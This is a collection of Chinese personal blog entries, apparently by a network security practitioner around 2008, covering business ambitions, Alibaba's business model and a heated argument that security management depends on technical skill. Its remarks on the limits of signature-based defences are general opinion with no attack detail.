   比如，我提供防病毒网关、防火墙、VPN、入侵检测、漏洞扫描、安全网站、邮件服务器、流量管理与分析统计、透明网关、网站加速网关等安全设备，但这些东西，实现都非常简单，功能和性能都存在某些不足，让我没有信心运作成一个可以卖出的产品，如果拿了这些产品去卖，技术上的积累，还欠缺许多功课，从这方面是不负责任的行为。但这些东西，可以用很低的成本，解决一些问题，可以作为一种解决方案，提供给用户，帮助他们解决一些实际问题。虽然有同类的许多产品在市场上出售，我知道他们是怎么实现的，但我还不想去做同样的事情。
   
    以后，要是有机会，只要在某方面比我强，应该让给他们机会。从长远来看，打压和霸占都没有生命力，都会对事业造成非常大的损害。国内大部分的公司，为了赚钱，可以牺牲很多东西。我的理想，要是创造自由、平等、共享的环境，让有能力发挥出自己的价值，让事业一直走向辉煌。在这个过程中，如果是我或任何其它人产生了私心，应该在最初的时候定位一种规则，让这种私心减少对事业的影响，建立足够的博弈力量。这种博弈，对事业有利，对个人成长也非常有好处。

不知道我这种想法，能吸引有想法有能力的朋友们吗？愿意一起参与进来做一番事业吗？

感觉挺邪恶

昨晚上看闭幕式，不如开幕式精彩倒也罢了，看到中间竟然毛骨悚然。

中间舞台上，一群美女穿着红色的皮衣，画着夸张的眼影。衣服和帽子看上去，一下子让人想起一句话"不爱红装爱武装"，和军装似的，挺cool，但偶尔露出来的眼影，在闪光灯下，显的狐媚，整体让人感觉非常邪恶。也不知道基于什么设计目的


   奥运结束了，终于可以放开口评论一下奥运了。

看了两本书，货币战争和货币贵族

直接所我看傻了，里面这么多的谋略，这么多的东西，是我以前从没想过，或者想过却一直没有找到答案的，真是不错的书

关于"三分技术七分管理"

楼上众多的说法，正是我在开篇所要反对的。我没去找"三分技术七分管理"的原文是怎么描述的，但我理解，三分技术七分管理，并不指的是纯技术和纯管理，而是两者的结合，安全的过程，就是对信息资产通过技术进行管理的过程，这里面并不是规章制度，并不完全是安全方针、安全组织、资产管理、人力资源安全、信息安全事故管理、业务连续性管理、符合性，或者纯技术的安全体系，通信和操作管理、访问控制和系统开发生命周期等这些过程，而且对信息资产的有效控制上面

有七分管理这几个字眼，并不是管理就要远远重要于技术，或者技术可做的事情很少。在这上面钻的深，一切就变的虚无飘渺了。有个单位，国内多家著名安全公司给他们做了评估，做了加固，为什么我还可以通过很多方法进入内网？到底怎么样才能解决客户存在问题？你通过这些理论工具和方法论，有把握解决问题吗？

接上篇

刚才没写完

alibaba独特的思路是什么并不重要，重要的是这样独特的思路是怎么出来的？我认为最关键的在于如何搜集数据，如何处理后输出，所有的功能都是这样实现的，这个过程并不是程序里面独有的，业务模式也是这样。除了数据的流程，还有一个钱的流动过程，金钱在这个数据中是如何受到影响的？alibaba/google现在看来都走了间接的道路。

     暂时没有想到去做网站，趁着年轻，还有许多有趣的东西可做，做网站太没技术含量了，和一帮抢劫的似的，哈哈，再者，网络安全服务做下来虽然收益不高，但有趣啊，让人难以拒绝的诱惑啊

     不过无论是分析alibaba的业务模式，还是想自己的创业之路，需要注意，中国并不缺少想法，但缺少坚持想法的行动，很多都是想想就算了，我能坚持多少年呢？原来的许多好主意，给别人说了，他们就去做了，自己也没有去争取着做一下。昨天和朋友交流，觉的网络安全方向，我这方面技术好，有大量产品，市场需求也非常大，我这儿有许多独到的东西，前途似乎一片美好啊，但实际上，谁知道呢，也许做一段时间才能知道。

     关注马云，关注史玉柱，他们这样的成功，也只能在中国才会出现，现在的机会，仍然非常多，等待我去开发。

现在的互联网机遇

每个时段看现在的形势，都似乎感觉遍地的竟争对手，自己可用的东西很少了。
昨天和朋友们聊天的时候，一片悲观。其实，现在看l国外google，yahoo，国内的alibaba淘宝一类的互联网，他们的成功太吓人了，咱暂且不想何时才能达到这样的高度。但现在的互联网其实还有很多机会，大量东西还没有开发，"智能系统"只是处在原始的最初阶段。只所以这样说，是因为当我们抛开功利的眼光，看眼前的这个电子世界的时候，我们会看到，所有google，alibaba的这些模式，都是数据搜集+加点彩的处理+不同的输出形式，数据搜集都是来自于注意力和广众的操作，输出形式就在于需求上变化的页面，加点彩的处理，现在看来alibaba、淘宝都还是比较简单的，后台功能实现并不复杂。为什么他们可以达到这样的成功呢？最早做这方面的，市场上有需求但没有这样的东西，怎么会不成功呢？现在的做b2b的竟争对手这么多，他们肯定也不会停步不前，看alibaba的模式，最主要的是有那么独特的思路。

三分技术七分管理是错误的

     以前听很多人说，三分技术七分管理，似乎真的是正确的，只要打好了补丁，贯彻了安全策略，基本就可以保证一个信息系统的安全了。
 

      现在才看到，这里面有多大的误区，有多少懒惰的因素，有多少拍马屁的成分在里面，只是拿了井底之蛙的眼光，去简单地看一个复杂的信息系统。实际上，完整的话应该这样说，三分技术七分管理，管理要以技术为依托。没有了技术，管理就无法贯彻下来，就没有实现的途径，就会受限于你的视野，实际上，管理上也并不是思想上、哲学上的那种管理，而是对每一个安全策略，每一个数据流，每一个访问路径的管理，是对信息资产的有效管理，是以技术手段实现的管理。而不是官僚们给你安排你应该如何如何的那种管理。

 

      有许多事情就这样耽误了，可能会出大问题。不知道还有许多人相信"三分技术七分管理"，奥运保障是否也是基于这个出发点，许多人躺在一堆安全设备上悠闲自得。很长时间以前我就说过了，现在的安全防护模式，远远落后于现实的网络攻击手段，除非那帮有恶意目的人不掌握，只要掌握了，就会造成很严重的后果。现在的情况是，我们无法预测对方到底掌握了多少东西，可以利用多少资源，可以造成多大的危害。

 

    前几天在新疆的汽车炸弹，死16人伤16人，2名嫌疑犯最后终于逮到了。新闻里忽略了一个细节，我猜测应该是对方假装失火，武警们出于责任，跑上去扑灭大火的时候才炸的吧，不然就那么冲过来一辆车，一下子就炸了？而且嫌疑犯最后还跑了？

 

     和所有的网络攻击一样，最难预防的是，一切的操作隐藏于正常行为之中，以前的多篇blog中也有描述，这是网络攻击的最高境界，也是最难防御的。而一般的杀毒、IDS、ips、防火墙一类的安全设备，都是通过特征匹配的，所以，只要攻击行为换套马甲，安全设备就需要升级特征码，如果攻击行为更有创意，更有思路，安全设备几乎就全部废了。 这就是咱们的安全现状，这就是我们最担心的地方。大家以为许多问题已经解决了，终于可以休息一下好好睡一觉了，实际上，危害正在发生，有些已经深入内部了，管理者不知道，技术人员也没有觉察，一切正在悄悄地进行着。

 

    现在别跟我再提三分技术七分管理，听着就生气，恨不得海扁一顿。我们的世界，自己做主。